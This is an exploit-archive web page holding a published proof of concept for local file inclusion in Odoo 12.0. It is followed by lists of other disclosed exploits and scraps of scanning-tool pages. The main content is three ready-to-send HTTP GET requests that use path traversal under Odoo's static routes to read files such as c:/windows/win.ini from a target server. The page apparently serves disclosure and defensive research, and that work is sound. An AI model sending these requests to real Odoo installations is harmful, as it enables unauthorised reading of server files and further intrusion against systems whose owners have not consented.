Menu

Search for hundreds of thousands of exploits

"Odoo 12.0 - Local File Inclusion"

Author

Exploit author

"Emre ÖVÜNÇ"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-06-22

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Exploit Title: Odoo 12.0 - Local File Inclusion
# Date: 2019-06-14
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.odoo.com/
# Software Link: https://www.odoo.com/tr_TR/page/download
# Version: v12.0
# Tested on: Windows/Linux
# https://github.com/EmreOvunc/Odoo-12.0-LFI-Vulnerabilities
# https://www.odoo.com/security-report

# PoC-1
To exploit vulnerability, someone could use
'http://[HOST]:8069/base_import/static/c:/windows/win.ini'
request to get some information from the target.

GET /base_import/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

# PoC-2
To exploit vulnerability, someone could use 'http://[HOST]:8069/
web/static/c:/windows/win.ini' request to get some information from the
target.

GET /web/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

# PoC-3
To exploit vulnerability, someone could use 'http://[HOST]:8069/
base/static/c:/windows/win.ini' request to get some information from the
target.

GET /base/static/c:/windows/win.ini HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-11-19 "Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting" webapps multiple "Emre ÖVÜNÇ"
2020-06-26 "OpenEMR 5.0.1 - 'controller' Remote Code Execution" webapps php "Emre ÖVÜNÇ"
2020-06-25 "mySCADA myPRO 7 - Hardcoded Credentials" remote hardware "Emre ÖVÜNÇ"
2020-06-25 "FHEM 6.0 - Local File Inclusion" webapps php "Emre ÖVÜNÇ"
2020-06-22 "WebPort 1.19.1 - 'setup' Reflected Cross-Site Scripting" webapps php "Emre ÖVÜNÇ"
2020-06-22 "FileRun 2019.05.21 - Reflected Cross-Site Scripting" webapps multiple "Emre ÖVÜNÇ"
2020-06-22 "Odoo 12.0 - Local File Inclusion" webapps multiple "Emre ÖVÜNÇ"
2020-06-22 "WebPort 1.19.1 - Reflected Cross-Site Scripting" webapps multiple "Emre ÖVÜNÇ"
2019-01-10 "OpenSource ERP 6.3.1. - SQL Injection" webapps multiple "Emre ÖVÜNÇ"
2018-08-30 "Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal" webapps windows_x86-64 "Emre ÖVÜNÇ"
2018-08-30 "Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting" webapps windows_x86-64 "Emre ÖVÜNÇ" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected